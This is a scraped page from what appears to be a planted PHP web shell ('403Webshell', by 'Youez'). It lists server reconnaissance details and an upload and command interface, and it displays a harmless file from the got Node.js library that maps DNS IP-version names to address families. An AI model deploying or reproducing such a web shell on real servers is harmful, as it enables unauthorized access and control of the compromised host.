403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/nodejs/got/dist/core/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/got/dist/core/utils/dns-ip-version.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.dnsLookupIpVersionToFamily = exports.isDnsLookupIpVersion = void 0;
const conversionTable = {
    auto: 0,
    ipv4: 4,
    ipv6: 6
};
const isDnsLookupIpVersion = (value) => {
    return value in conversionTable;
};
exports.isDnsLookupIpVersion = isDnsLookupIpVersion;
const dnsLookupIpVersionToFamily = (dnsLookupIpVersion) => {
    if ((0, exports.isDnsLookupIpVersion)(dnsLookupIpVersion)) {
        return conversionTable[dnsLookupIpVersion];
    }
    throw new Error('Invalid DNS lookup IP version');
};
exports.dnsLookupIpVersionToFamily = dnsLookupIpVersionToFamily;

Youez - 2016 - github.com/yon3zu
LinuXploit